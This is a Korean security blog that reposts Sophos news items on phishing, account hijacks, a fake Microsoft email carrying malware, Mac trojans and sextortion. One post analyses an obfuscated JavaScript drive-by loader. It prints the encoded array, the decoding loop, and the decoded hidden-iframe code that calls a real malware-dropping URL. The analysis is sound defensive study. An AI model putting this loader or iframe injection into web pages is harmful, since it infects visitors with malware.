posted by Kwan's 2013. 4. 2. 21:45


피싱(Phishing)은 종종 구식으로 여겨지는데, 기술적인 관점에서, 피싱은 ‘이미 다 겪어본 것’입니다.

그러나 때로는, 평범하지 않은 좀 더 흥미로운(적어도 차이가 나는) 공격을 만나게 됩니다. 이 글에서 나는 최근 몇 개월 동안 우리가 보아온 몇몇 피싱 공격에 사용된 기술들 중 하나를 간단히 살펴볼 것입니다.

대부분의 피싱 공격은 다음 2가지 중 하나로 나눠집니다:

  1. 이메일 메시지 본문 안에 피싱 사이트 링크를 포함한 스팸 이메일. 몇몇 경우에, 메시지 본문에 있는 링크는 사용자들을 피싱 사이트로 재연결 시키는 초기 웹페이지(보통 감염된 웹사이트에서 호스팅됨)를 가리킬지도 모릅니다. 어느 쪽이든, 링크를 클릭하면 사용자들을 결국에는 피싱 페이지로 연결시킵니다.
  2. 피싱 페이지 자체인 HTML 첨부파일을 포함한 스팸 이메일. 소포스 제품들은 이런 첨부파일을 Mal/Phish-A로 차단합니다.

2번째 타입에 있어서, HTML 첨부파일을 만들기 위해 대부분의 공격들은 동일한 기술을 사용합니다:

  • 은행 로그인 페이지와 같이 위조할 웹 페이지에 대한 HTML 소스를 복사.
  • 선택적으로, 이 코드를 난독화함. (아마도 난독화된(obfuscated) JavaScript를 통해 전달)
  • 전송된 데이터가 공격자의 웹 서버로 보내지도록 적절한 HTML 폼으로 수정

지난주 나는 HTML 첨부파일로 스팸메일을 보내고 있는 페이팔(PayPal) 로그인 페이지에 대해 경고를 하였습니다. 하지만 이런 경우에 페이지 안의 HTML form은 모두 합법적인 페이팔 서버를 참고하고 있습니다.

모아진 데이터는 공격자들에게 어떻게 되돌려 보내질까요?

더욱 세밀한 조사로 사용자데이터를 거르는 매우 교활한 방법이 밝혀졌습니다.

그 스팸 메시지 자체는 여러분이 이미 알고있는, 수신인들을 속여 첨부파일을 열도록 시도하는 소셜 엔지니어링입니다.

사용자가 그 첨부파일을 열면, 그것은 페이팔 로그인 페이지처럼 보이는 것을 보여줍니다. 그 HTML 소스를 조사해보면, 그 페이지 안의 변수 form들이 합법적인 페이팔 리소스를 참고하고 있습니다.

하지만 그 페이지는 페이팔이 아닌 서버로부터 의심스러운 JavaScript 컨텐트 form을 담고 있었습니다. 게다가, 그 페이지 안에는 의심스러운(또는 예상치 못한) 빈 iframe이 있었습니다.

원격 JavaScript는 그 공격이 어떻게 이루어지는지에 대한 방법을 드러내었습니다. 그 스크립트는 페이팔 변수 form에 사용자가 입력한 값을 검증하는 데 사용되었습니다.

고객 로그인 폼으로부터 나온 데이터는 변수 cus_data에 일련 되게 저장되었습니다.

그러면, 그 일련의 청구 폼에서 나온 데이터가 변수 cc-data에 일련 되게 저장됩니다.

그러면, 이런 변수들은 동적으로 빈 iframe 엘리먼트에 데이터를 보태면서 공격자들에게 되돌려 보내집니다.

교활하죠! Form 제출 프로세스를 가로채고, iframe을 극적으로 덧붙임으로써, 공격자들은 form 데이터를 그들의 서버로 되돌려 보낼 수 있습니다. 여기에는 다음과 같은 것들이 포함됩니다.

  • Email
  • Password
  • First name
  • Last name
  • Date of birth
  • Citizenship
  • Address
  • Telephone number
  • Credit card number
  • Cvv number
  • Expiry date
  • Sort code
  • Social security number
  • Customer id

왜 이 모든 것에 신경을 썼을까요? 왜 기본 폼을 사용하지 않고 HTML 폼의 타깃을 편집 하였을까요?

이번 공격에 사용된 기술에는 아마도 2가지 이점이 있습니다.

  1. 스팸 메일을 보낸 웹페이지는 혐의를 덜 받을 것입니다. 폼이 예상 밖의 원격 서버를 가리키는 것을 보면 그 페이지가 피싱되었다고 그냥 알려주는 것입니다.
  2. 그 메커니즘으로 인하여 그것들은 다중 폼으로부터 받은 데이터를 포함할 수 있습니다. 고객들이 서로 다른 단계에서 데이터를 입력하는 복합 사이트에 이상적입니다.

나는 이 이야기의 교훈은 ‘구식’ 공격이 완전히 묵살되지는 않는다 것으로 생각합니다. 그것들은 여전히 놀라움을 줄 수 있습니다!

댓글을 달아 주세요

posted by Kwan's 2013. 3. 26. 01:37

http://www.securitytrust.co.kr/bbs/view.asp?tName=tb_sophosnews&RecID=20900


자칭 시리아 전자 부대(Syrian Electronic Army)라는 해킹그룹이 BBC Weather 공식 트위터 계정을 해킹하고 보통 예상하는 전형적인 메시지인 “부분적으로 흐림.. 비올 가능성”이 아닌 몇 가지 이상한 메시지를 남겼습니다.

예를 들면,

북부 시리아에 위험 안개 경고: 에르도간(Erdogan, 터키 대통령)은 민간인 구역에 화학 무기를 살포하라고 테러리스트들에게 명령
이나,
사우디 기상청이 낙타와 정면충돌하여 다운됨
등입니다.

초기 메시지는 자칭 시리아 전자 부대라는 해킹그룹에 의해 BBC Weather가 해킹되었다고 주장하고 있습니다.

@BBCWeather 계정의 합법적인 소유자가 피싱되었던지, 패스워드가 크랙되었던지, 아니면 여러 곳에서 동일한 패스워드를 사용하는 실수를 저질렀던지 현재까지 명확하지는 않지만, 분명한 것은 지금 당장 그들의 계정을 사용할 수 없다는 것입니다.

그러는 동안, 거의 6만 명의 트위터 사용자들이 시리아 전자 부대로부터 일기예보를 받았습니다.

희소식은 그 해킹이 악성링크나 스캠을 배포할 의도로 행해진 게 아닌 것처럼 보인다는 것입니다. 그 대신, 시리아 전자 부대가 시리아에 대한 정치적인 메시지들을 보내려고 하는 것입니다.

우리와 함께 시간을 보내는 것에 감사 드립니다! #Syria에 있는 글로벌 테러리스트 전쟁에 대한 진실을 알고 싶다면, @Official_SEA #SEA를 팔로잉하세요.

명심하십시오. 여러분은 항상 온라인 계정에 대해 웹상 어느 곳에서도 사용하지 않은 예측하기 어렵고, 클랙하기 어려운 독창적인 패스워드를 사용하십시오.

다시 한번 말씀드리지만, 기업브랜드 트위터는 이중 인증과 같은 추가적인 보호레벨을 제공하는 것이 좋을 것 같습니다.

업데이트: BBC는 이번 해킹을 조사하는 중이라고 네이키드 시큐리티에 전헸습니다.

댓글을 달아 주세요

posted by Kwan's 2013. 3. 20. 00:40

http://www.securitytrust.co.kr/bbs/view.asp?tName=tb_sophosnews&RecID=20800

빌 게이츠(Bill Gates)가 공개적으로 수많은 사람들의 사회보장번호(Social security numbers), 주소 및 개인 재정정보 등을 공개하는 웹사이트에 개인 정보가 공개된 가장 최신 유명인사가 되었습니다.

여러 사람들 중에 킴 카다시안(Kim Kardashian)이나 미쉘 오바마(Michelle Obama), 비욘세(Beyoncé) 급에 속하는 유명인사의 개인정보 유출과 마찬가지로, 그것은 3대 신용정보 회사인 엑스페리언(Experian), 이퀴팩스(Equifax), 트랜스유니언(TransUnion)로부터 흘러나온 것처럼 보입니다.

비록 FBI가 “Secret Files” 웹사이트 배후에 누가 있는지 조사 중이라고 말하긴 했지만, 그 사이트는 현재 여전히 접속 가능한 상태입니다.

그리고 그 미스터리한 웹사이트 배후에 누가 있든지 간에, 마이크로소프트 설립자뿐만 아니라 미트 롬니(Mitt Romney)나 타이거 우즈(Tiger Woods), R 켈리(R Kelly)와 같은 더 많은 저명인사의 개인정보가 계속해서 바쁘게 업데이트되고 있습니다.

다시 한번, 우리는 불법적인 정보 유출을 조장할 뿐만 아니라 여러분의 컴퓨터를 맬웨어 공격의 위험에 빠트릴 수 있기 때문에 사용자들이 이 웹사이트에 방문하는 것을 권장하지 않는다는 것을 말씀 드립니다.

한편, 여전히 불분명한 것은 허가되지 않은 사람들이 어떻게 인증도 없이 유명 인사들의 정보에 부정하게 접근하도록 하였는지 입니다.

한 추론은 웹사이트 배후에 있는 자가 그 유명인사들에 대해 인터넷에서 정보를 수집할 수 있었다는 것이고, 그런 다음 그 정보를 이용하여 성공적으로 그들의 타깃(유명인사)인 것처럼 속이고 신용정보에 접근할 수 있었다는 것입니다.

분명히 때가 되면 우리는 알게 되겠지만, 그 사이에 얼마나 더 많은 유명인사들이 스스로 인터넷상에 유출된 자신의 정보를 확인하게 될까요?

댓글을 달아 주세요

posted by Kwan's 2013. 3. 11. 15:08

 

마이크로소프트 Digital Crimes Unit으로부터의 보안 경고로 가장한 맬웨어 공격

Windows 사용자 여러분, 여러분은 컴퓨터 보안을 진지하게 받아드리고 있나요?

만약 그렇다고 하면, 여러분은 Microsoft Digital Crimes Unit으로부터 보낸 것 같은 이메일을 받았을 때는 즉각적인 조치를 취해야 할지도 모릅니다.

하지만, 그것은 사실 큰 실수입니다.

여러분은 마이크로소프트의 DCU(Digital Crimes Unit)가 Zeus와 연관된 봇넷서버를 다운시키기 위해 열심히 작업하였고, 의심스런 맬웨어 제작자를 조사했던 사람들이었다는 것을 기억할지도 모릅니다.

다음은 제목에 “Security”라고 된 스팸 메일의 한 형태입니다.

이메일 사용자 여러분,

새로운 취약점 때문에 여러분의 온라인 상세정보를 빼내려는 해커들에게 악용되고 있습니다.

이에 마이크로소프트 DCU(Digital Crimes Unit)는 2013년 새로운 보안조치를 개발하였습니다.

따라서 인터넷과 마이크로소프트 제품을 사용하는 모든 사용자들은 ISP나 호스팅업체에 상관없이 이메일 계정 정보를 인증받아야 합니다.

해커들이 새로운 취약점을 악용하는 것을 막기 위해 여러분의 이메일 계정을 인증하십시오

첨부된 'Microsoft_STF' 파일을 여러분의 PC에 다운로드하여, 실행하십시오. 그러면 마이크로소프트 보안 데이터베이스에서 업데이트할 것입니다.

만약 여러분의 이메일을 인증하지 않으면, 여러분의 이메일은 해커들이 여러분의 개인이나 회사 이메일 계정을 얻어서 기밀 정보에 접근하는 위험에 놓이게 됨을 유념해 주시기 바랍니다.

2013 Microsoft Digital Crimes Unit

이메일에 첨부된 파일은 Microsoft_STF_install.zip이란 파일입니다. 그런데 상기 이메일에 따르면, “모든 인터넷 사용자들”은 'there'(their의 오타) email account를 인증하기 위해 프로그램을 실행해야 한다고 합니다.

진짜처럼 보이지 않습니까?

바라건대 여러분 대부분은 청하지 않은 이메일은 의심하고 마이크로소프트가 보냈다는 이유로 프로그램을 실행할 만큼 어리석지는 않을 것입니다.

소포스 제품은 그 첨부파일을 Troj/Agent-AANA 트로이목마로 감지합니다.

마이크로소프트 Digital Crimes Unit로 가장하고, 그리고 사용자들을 속여 부지불식간에 그들의 Windows 컴퓨터를 감염시키기 위해 취약점과 맬웨어 감염에 대한 두려움을 이용하는 사이버 범죄의 아이러니에 우리들 중 어느 누구도 정신을 잃어서는 안될 것입니다.

슬프게도, 이런 류의 공포 전술은 분명 몇몇 사람들을 속일 수도 있습니다.

조심하십시오.

P.S. 진짜 Microsoft Digital Crimes Unit에 대한 내용은 여기서 보실 수 있습니다.

댓글을 달아 주세요

posted by Kwan's 2013. 3. 5. 21:58

http://www.securitytrust.co.kr/bbs/view.asp?tName=tb_sophosnews&RecID=20600



이번 주는 보안업계 최고의 엔지니어들이 함께 모이는 최대의 IT 보안 행사인 RSA Conference 2013이 열립니다.

비록 보안(안전)이 행사에 참여하는 모든 이의 마음속 가장 높은 곳에 자리잡고 있다는 것은 명백해 보이지만, 정보 보안 행사도 다른 행사와 마찬가지로 안전하지 않을 수 있다는 것을 북새통에 정신을 놓고 망각하기가 쉽습니다.

우리는 이번 RSA 컨퍼런스나 올해 다른 컨퍼런스에 참가하는 동안 명심해야 할 8가지 보안 팁에 대한 체크리스트를 만들어 보았습니다.

  1. 공개 WiFi 네트워크를 조심하고 가능할 때 VPN을 이용하세요.

    만약 여러분이 암호화 되지 않은 공개 WiFi 연결을 이용하고 있다면, 근처의 다른 사람들도 여러분의 대화를 엿볼 수 있습니다.

    여러분의 기기와 사무실간의 모든 대화를 암호화하는 VPN(virtual private network)을 사용하면 이것을 방지할 수 있습니다. 심지어 공개 WiFi가 암호화되었다 하더라도, 여러분은 그것을 이용 가능하게 한 사람을 알지 못합니다.

    만약 여러분이 공개 WiFi를 이용하여 온라인 서비스에 접속해야만 한다면, 로그인과 데이터 전송시에 HTTPS만을 사용해야 함을 명심하십시오. 안전한 WiFi 서핑에 대한 팁을 확인하시기 바랍니다.

  2. 스마트폰과 태블릿에 대한 패스코드와 보안 소프트웨어를 사용하십시오.

    원격 잠금이나 삭제, 분실이나 도난 기기에 대한 추적 및 맬웨어 보호와 같은 보안 기능을 제공하는 무료 앱들이 많이 있습니다. 안드로이드 사용자들은 소포스의 무료 모바일 시큐리티(Mobile Security) 앱을 검토해 보십시오.

  3. 여러분 기기의 보안 세팅을 점검하십시오.

    여행 중이 아니라면, 우리의 보안 앱이 어떻게 동작하는지, 어떻게 세팅해야 하는지에 대해 느슨해지기 쉽습니다. 하지만, 여러분이 붐비는 컨퍼런스 센터 곳곳에서 정신없이 부산을 떨고 있을 때면, 보통 때보다 더 신속하게 여러분 기기를 잠그기 위해 세팅을 업데이트해 하는 것을 고려하십시오.

  4. 만약 그 기기가 *필요*하지 않다면, 그것을 가져가지 마십시오.

    여러분은 업무용 스마트폰 하나와 개인용 스마트폰 하나를 사용하시나요? 그럼 간단합니다. 하나만 선택하고 다른 하나는 안전하게 호텔방에 보관하세요. 만약 호텔방에 금고가 있다면, 전시장에 가져갈 필요가 없는 모든 기기나 업무문서를 보관하는 데 그것을 사용하십시오.

  5. 판매자에 의해 제공되는 사은품에 마음을 빼기지 않도록 주의하십시오.

    여러분은 마음에 드는 무료 USB키를 받을지도 모르지만, 그것은 모르는 사이에 맬웨어에 감염되게 할지도 모릅니다. 믿거나 말거나, 우리는 호주에서 열린 보안 컨퍼런스인 AusCERT에서도 이런 일이 일어나는 것을 보았는데, IBM이 부주의하게도 하나가 아니라 두 개의 맬웨어에 감염된 무료 USB 드라이버를 제공하였습니다.

  6. 꼭 필요한 경우가 아니라면 회사 데이터에 접근하지 마십시오.

    만약 여러분이 중요한 데이터에 접속할 수 있는 노트북이나 태블릿, USB 드라이브 또는 다른 기기를 가지고 가야만 한다면, 암호화를 해야 함을 명심하십시오. 만약 그 기기가 나쁜 사람들 손에 들어가게 된다면, 여러분은 매우 고마워하게 될 것입니다.

  7. 핸드폰 충전 키오스크와 주스재킹(juicejacking) 위험 가능성에 주의하십시오.

    '주스재킹(Juicejacking)'은 파워/데이터 연결용 핸드폰 어댑터 같은 것을 통해 스마트폰을 해킹하는 것입니다. 우리는 아직 실제로 보지 못했지만 우리가 첫 번째 희생자가 되지는 맙시다.

  8. 편집증 환자들이라면 임시 노트북이나 임시 핸드폰을 이용하세요.

    여러분에 관한 중요한 데이터를 휴대하지 않는 것은 비록 여러분의 기기가 도둑맞거나 해킹 당하거나 하더라도 여러분의 정보가 위함에 처하지 않는다는 것을 의미합니다. 여러분이 집으로 돌아가면, 그 기기의 정보는 삭제 됩니다. 

댓글을 달아 주세요

posted by Kwan's 2013. 2. 27. 16:00

http://www.securitytrust.co.kr/bbs/view.asp?tName=tb_sophosnews&RecID=20500

만약 여러분이 Mac에 대한 맬웨어는 거의 없다고 여전히 생각한다면, 여러분은 쿠퍼티노(Cupertino)에 있는 꽤 유명한 과일 회사(Apple)의 보안 엔지니어와 말하기를 원할지도 모릅니다.

로이터 통신에 따르면, “Apple은 최근에 해커들에 의해 공격을 받았는데, 몇 몇 종업원들의 매킨토시 컴퓨터가 감염되었다.”고 합니다.

좀 더 구체적으로는, Apple 엔지니어들의 Mac OS X 노트북들이 지난주 Facebook을 공격했던 것과 동일한 제로데이(zero-day) Java 취약점에 의해 감염되었습니다.

Apple이 더 루프(The Loop)에 했던 성명서에서 Apple 대변인은 “그 맬웨어는 Apple과 다른 회사들(Facebook이나 Twitter등)을 공격할 때 사용되었고, 소프트웨어 개발자들을 위한 웹사이트를 통해 배포되었다”고 전했습니다.

공개적으로 이용 가능한 정보로부터 이 성명서는 이번 공격이 “워터링 홀 공격(watering hole attack)”으로 알려지게 된 것을 재확인하게 되었습니다.

그 컨셉은 회사를 직접적으로 공격하는 것보다 사람들이 자주 가는 사이트를 감염시키는 게 훨씬 더 쉽다는 것입니다.

Facebook과 Apple의 모든 보호막을 깨려고 시도하는 것은 매우 어렵게 될 것입니다.

하지만 Apple과 Facebook, 그리고 다른 고가치 표적들(high value targets)이 자주 방문할지도 모르는 작은 어플리케이션 개발자들의 웹사이트에 대한 보안을 위협하는 것이 훨씬 더 쉬울지도 모릅니다.

나는 Apple OS X가 온라인 공격의 배후에 있는 범인에 의해 더 이상 간과되고 있지 않는 맬웨어에 의해 타깃이 될 만한 사람들 사이에서 충분히 인기가 있다고 말하는 것이 타당하다고 생각합니다.

“어리석은 Mac 사용자만 자발적으로 맬웨어를 설치할 것이다”라고 말하는 사람들은 Apple 자사의 엔지니어들도 희생자가 될 수 있다는 것을 알게 되면 놀랄지도 모릅니다.

이것은 사용자의 역량이나 사람들이 종종 선택하는 웹사이트의 종류에 대한 것이 아닙니다. 패치되지 않은 취약성은 동일한 방법으로 우리 모두에게 영향을 끼치게 됩니다.

이것이 사용하는 플랫폼에 상관없이 안티바이러스를 필수적으로 사용해야 하는 이유입니다. 또한, IPS와 방화벽을 이용함으로써 네트워크 트래픽을 주의 깊게 모니터링 하는 것도 중요합니다.

그것은 최근 안티 바이러스와 만약 여러분이 감염을 막을 수 없다면, 시작시에 감염을 예방하지만 그것을 감지하는 효과적인 방어시작을 얻게 합니다.

사람들은 종종 그들의 방화벽을 단순한 방어 메커니즘으로 생각하지만, 그것은 법의학적인 목적으로 제공되기도 합니다.

만약 여러분이 Apple이나 Facebook을 이용하고 어떤 데이터가 여러분의 범죄 지배자들에게 수색되었는지 알아야 한다면, 여러분의 모니터링 솔루션으로부터 나온 자세한 로그들이 법의학 수사팀에게 필수적입니다.

2-3년간 로그정보를 유지한다는 것이 힘이 들긴 하지만, 여러분이 만약 감염을 당하게 된다면 그것은 여러분의 문제를 해결하는데 가치가 있을지도 모릅니다.

여러분은 이 결과로서 무엇을 해야 할까요? 만약 여러분이 Mac 사용자라면, 여러분의 컴퓨터를 확실히 패치해야 합니다. Apple은 이번 공격에 대응하기 위해 그날 오후에 자바 맬웨어 제거 툴(Java malware removal tool)을 발표할 것이라고 말하였습니다.

또한, 향후의 모든 공격을 발견하기 위해 안티바이러스를 최신으로 업데이트 하고, 여러분이 매일 매일 웹서핑을 하기 위해 자바가 필요하지 않는다면 브라우저에서 자바를 사용안함으로 하는 것이 좋습니다.

공평하게도, 그 충고는 컴퓨터 사용자들이 Windows나 OS X이나 Linux 어떤 것을 좋아하든지 모두에게 적용됩니다. 많은 시간을 안전한 상태로 있는 것이 편하지는 않지만, 길게 보면 투자할 가치가 있는 것입니다. 

댓글을 달아 주세요

posted by Kwan's 2013. 2. 21. 01:09

http://www.securitytrust.co.kr/bbs/view.asp?tName=tb_sophosnews&RecID=20400


작년 동안, 소포스랩은 이미 패치가 적용된 MS 오피스의 오래된 취약점을 이용하는 중국의 소수민족들에 대한 공격에 대해 이야기를 해 왔습니다.

우리는 과거에 몇몇 공격들을 봐왔습니다.

이번 주 초에는, 에일리언봍트(AlienVault)의 직원이 Mac OS X의 오피스 제품에서 동일한 취약점을 사용한 또 다른 공격을 봤는데, 그것은 서부 터키의 위구르(Uyghur) 족을 타깃으로 하는 것입니다.

MS09-027로 알려진 그 취약점은 마이크로소프트 워드에서 원격 코드 실행을 허용하는 것이었고, 2009년 6월에 마이크로소프트에서 패치를 했었습니다.

그 의미는 패치되지 않은 컴퓨터에서 부비트랩 워드문서를 열면 여러분 Mac에 악성코드를 실행시킬 수 있다는 의미입니다. 여러분이 정신이 없어 워드파일의 내용을 읽게 되면, 맬웨어는 눈에 띄지도 않고 조용히 여러분 컴퓨터에 설치됩니다.

많은 Mac 사용자들은 Mac OS가 어떤 소프트웨어를 설치하기 전에 관리자의 사용자명과 비밀번호를 물어볼 것이라는 희망을 가지고 있겠지만, 그것이 유저랜드(userland) 트로이목마(Trojan)와 같은 공격에는 그런 메시지가 뜨지 않고, 관리자 신원정보를 요구 받지도 않을 것입니다.

왜냐하면 이것은 루트 권한을 요구하는 Mac OS X의 /tmp/ nor /$HOME/Library/LaunchAgents 폴더에 있지 않기 때문입니다. 소프트웨어 어플리케이션들은 어떤 어려움도 없이 userland에서 동작할 수 있고, 심지어 네트워크 소켓을 열고 데이터를 전송할 수도 있습니다.

소포스 제품들은 그 악성 문서를 Troj/DocOSXDr-B로 감지하고 그 맬웨어를 Mac 트로이목마 OSX/Agent-AADL로 감지합니다.

확실히 이번 캠페인 동안에 OSX/Agent-AADL는 약간의 성장이 있었습니다. 왜냐하면 우리가 3개의 서로 다른 버전을 봤기 때문인데, 그 첫 번째 것은 매우 흥미롭습니다.:

트로이목마의 최신 버전에서, 그 기능과 다양한 이름들은 밝혀졌고 그 쉘 스크립트 파일명은 더욱 더 감추어졌습니다.

다시 한번, Mac 사용자들은 그들 컴퓨터의 안전이 만족스럽지 않다는 것을 명심할 필요가 있습니다. 비록 Windows 용 맬웨어보다 Mac용 맬웨어가 훨신 적기는 하지만, 만약 여러분이 이와 같은 공격에 타깃이 된다면 어떤 보상도 없을 것입니다.

Windows 사용자들처럼 Mac 사용자들도 최신 보안 패치에 관심을 기울이고 그들의 소프트웨어를 최신 업데이트로 적절히 유지해야 할 필요가 있습니다.

만약 여러분이 아직 그렇게 하고 있지 않다고 하면, 여러분의 Mac에 안티 바이러스 소프트웨어를 설치하십시오. 여러분이 홈 사용자라면, 우리는 Mac 고객을 위한 무료 안티바이러스를 제안합니다.

댓글을 달아 주세요

posted by Kwan's 2013. 2. 14. 20:24

우연히 해외 사이트를 보던 도중 Exploit 을 보아서 이렇게 써봅니다.

우선은 배치된 코드는 다음과 같습니다.

try{bgewg346tr++}catch(aszx){try{dsgdsg-142}catch(dsfsd){try{("".substr+"")()}catch(ehwdsh){try{window.document.body++}catch(gdsgsdg){dbshre=204;}}}}
if(dbshre){asd=0;try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){asd=1;}if(!asd){e=eval;}
asgq=new Array
(1,2,99,97,28,32,93,105,94,113,101,94,104,111,42,95,94,110,64,104,93,102,95,105,112,107,59,115,
79,93,95,71,91,104,97,32,32,92,106,96,113,32,35,86,44,85,34,117,8,5,1,2,99,97,110,89,102,95,109,
36,33,52,7,4,5,117,25,95,103,111,93,25,117,8,5,1,2,94,106,95,109,102,95,105,112,38,112,108,100,
112,93,33,28,55,101,94,107,91,104,97,24,108,108,94,57,31,97,110,111,108,50,40,41,96,106,100,90,
108,98,97,101,94,104,111,48,38,105,108,106,43,101,98,97,99,112,39,93,108,106,108,104,98,104,98,
91,97,103,109,111,93,100,101,99,105,99,38,105,98,107,35,24,112,99,95,112,96,54,33,44,44,31,25,98,
96,101,95,97,110,56,35,41,41,33,27,111,108,114,102,96,57,31,112,99,95,112,96,51,43,43,44,104,113
,53,99,97,97,96,98,111,54,41,41,42,107,116,51,105,105,110,101,108,98,105,105,54,89,91,109,106,104,
109,109,95,54,104,93,95,110,53,41,41,41,42,107,116,51,109,105,107,54,40,52,33,57,56,39,98,96,109,
93,101,94,56,29,37,51,6,3,4,121,5,2,3,97,113,102,92,110,100,107,102,25,99,97,110,89,102,95,109,36,
33,116,[생략]96,35,33,52,96,41,111,93,109,59,111,112,106,98,92,112,112,93,33,33,110,110,91,32,38,
34,100,108,109,106,53,43,39,94,104,103,93,106,96,95,104,97,102,109,46,41,108,106,104,41,104,101,95,
97,110,42,96,106,104,106,107,101,102,96,89,100,106,107,109,91,103,104,97,103,97,41,108,96,105,33,36
,55,94,39,109,111,117,100,94,40,103,97,94,109,55,34,41,41,41,42,107,116,31,52,96,41,111,108,114,102,
96,42,108,104,106,56,35,40,32,53,97,42,107,109,115,103,97,38,105,105,110,101,108,98,105,105,57,31,
90,92,110,107,100,110,110,96,35,51,95,40,110,112,113,101,95,41,104,93,95,110,56,35,40,32,53,97,42,
107,109,115,103,97,38,109,105,107,57,31,41,33,54,98,38,108,95,111,61,108,109,108,100,94,109,109,
95,35,35,111,98,94,111,100,31,37,33,44,44,31,34,53,97,42,107,94,110,60,112,108,107,99,93,113,108
,94,34,34,100,93,98,97,99,112,31,37,33,44,44,31,34,53,8,5,1,2,94,106,95,109,102,95,105,112,38,96,
95,111,65,100,94,103,96,106,108,108,60,116,80,89,96,72,92,105,93,33,33,93,107,92,114,33,36,87,40,
86,40,92,108,104,94,104,95,63,96,98,102,95,36,94,34,53,8,5,1,118);
s="";for(i=0;i-637!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-8));}
z=s;e(z);}


asgq=new Array 로 정의 되어 있는 코드는 정상적인 아스키코드가 아닙니다.
일반 String.fromCharCode를 통해서 출력을 해보면.. 다음과 같은 문자가 나옵니다!

ca ]i^qe^ho*_^n@h]f_ipk;sO]_G[ha \j`q #V,U"u canYf_m$!4 u _go] u ^j_mf_ip&pldp]! 7e^k[ha ll^9 anol2()`jdZlbae^ho0&ilj+ebacp']ljlhbhb[agmo]decic&ibk# pc_p`6!,, b`e_an8#))! olrf`9 pc_p`3++,hq5caa`bo6))*kt3iinelbii6Y[mjhmm_6h]_n5)))*kt3mik6(4!98'b`m]e^8 %3 y aqf\ndkf canYf_m$!t o[m ^ 7 `g\ohafm(^n]Zn`Ad^g`jl!!dbjZg`#!4`)o]m;opjb\pp]!!nn[ &"dlmj5+'^hg]j`_hafm.)ljh)he_an*`jhjkef`Ydjkm[ghaga)l`i!$7^'moud^(ga^m7")))*kt 4`)olrf`*lhj8#( 5a*kmsga&iinelbii9 Z\nkdnn`#3_(npqe_)h]_n8#( 5a*kmsga&mik9 )!6b&l_o=lmld^mm_##ob^od %!,, "5a*k^n


이와 같이 정상적인 아스키코드로 나오지 않습니다.

그렇다면 다시 코드를 살펴보면 다음과 같습니다.


s="";for(i=0;i-637!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-8));

즉... i=0; i-637!=0;i++ ->  i-637 값이 0이 아닐때까지 루핑을 한다는 뜻입니다.
결론적으로   i-637!이 0에 도달하면 이 함수는 끝이나게 됩니다.
i++와 같이 계속 1씩 증가함으로 637이 되는순간 함수는 끝나게 됩니다.

다음오로 {if(020==0x10)s+ 은 -> 020 == 10진수일경우 s가 증가 하게 됩니다.

그렇다면 어떤한 방식으로 다시 배치를 하는걸 까요?? 바로 String.fromCharCode(1*asgq[i]-(i%5-8)); 입니다.
asgq=new Array 에서 처음이 1이니 1*1-(i->0%5-8) 이런식으로 계산을 하게 됩니다.


이를 바탕으로 연산과정을 거치면 ! 연결된 링크를 볼수 있습니다 : )



if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://enlargement4.pro/might/dropping_installing.php' width='10' height='10' style='width:100px;height:100px;position:absolute;left:-100px;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');f.setAttribute('src','http://enlargement4.pro/might/dropping_installing.php');f.style.left='-100px';f.style.top='0';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}


바이러스 토탈 링크 :
https://www.virustotal.com/ko/file/becc92d0fa7e355e231c3b9da797a5e8fa9b39ef79ab6da48e98b5e20e1d685a/analysis/1360839068/

우선 처음으로 작성을 해보았는데.. 부족한 접이 있더라도 이해해 주세요~
틀린점이 있다면 지적을 해주셔도 좋습니다 : )

마지막으로 도움을 주신 바이올렛님께 감사를 드립니다 : )


댓글을 달아 주세요

posted by Kwan's 2013. 2. 7. 19:41


FBI는 페이스북 사용자의 계정을 해킹하고, 스카이프(Skype)를 통해 자신이 지켜보는 동안 수백 명의 여성들을 강제로 옷을 벋게 한 혐의로 27세 남자를 체포하였습니다.

캘리포니아 글렌데일(Glendale)의 Karen 'Gary' Kazaryan이 어제 연방 컴퓨터 해킹 혐의로 체포되었습니다.

법무부의 공식 발표에 따르면, Kazaryan은 피해자의 이메일과 페이스북 계정을 해킹하여 패스워드를 변경하였고, 나체사진과 반나체 사진들을 검색하였다고 합니다.

게다가, Kazaryan은 피해자의 패스워드와 친구 이름, 기타 개인정보 등 피해자에 대한 다른 정보까지 빼내었습니다.

여성인척 가장한 Kazaryan은 다른 잠재 피해자들을 속여 그들의 여자친구들 중의 한 명과 대화하고 있다고 믿게끔 하고, 그들이 웹캠 앞에서 옷을 벗도록 설득하였습니다.

Kazaryan은 그들이 만약 그의 요구에 순응하지 않으면, 그들의 페이스북 페이지에 피해자의 누드사진 몇 장을 올린다고 협박까지 하였습니다.

FBI는 Kazaryan의 컴퓨터에서 대략 3천여 장의 사진을 찾았다고 하는데, 350명 이상의 여성들이 "섹스토션(sextortion, 성적 강요)"이란 것으로부터 고통 받을지도 모릅니다.

만약 모든 기소들이 유죄로 판명되면, Kazaryan은 최대 105년 이상의 징역형에 처해질 수 있습니다.

FBI는 자신들도 피해자일지도 모른다고 생각하는 모든 여성들이 Los Angeles Field Office (310) 477-6565로 연락하도록 촉구하고 있습니다.

해커들은 어떻게 웹캠을 이용하여 그들의 성적 쾌감을 얻을까요.

수년 간, 우리는 웹캠을 이용하여 젊은 여성들을 훔쳐보고, 그들을 협박하여 옷을 벋게 하거나 성적인 행동을 하게 하는 해커들의 이야기를 많이 들어왔습니다.

예를 들어, 2005년 초 스페인 정부는 순진한 사용자들로부터 동영상 자료를 캡쳐했던 한 학생에게 벌금형을 내렸고, 은행 정보를 훔치는 동안 웹캠을 통해 피해자를 감시해 온 37세 남자를 체포했었습니다.

다음해, 더비셔(Derbyshire) 일케스튼(Ilkeston)의 잉글리쉬 타운에 사는 Adrian Ringland는 인터넷 채팅방에서 미성년자로 위장하여 입장하고 스파이웨어를 이용해 어린이들의 웹캠을 통해 노골적인 사진들을 훔친 혐의로 10년 징역형을 선고받았습니다.

그리고, 2008년에는 27세 캐나다 남자가 스파이웨어를 이용해 14세 보다 어린 여성들의 웹캠을 해킹하여 자신을 위해 옷을 벋도록 강요하여 기소되었습니다.

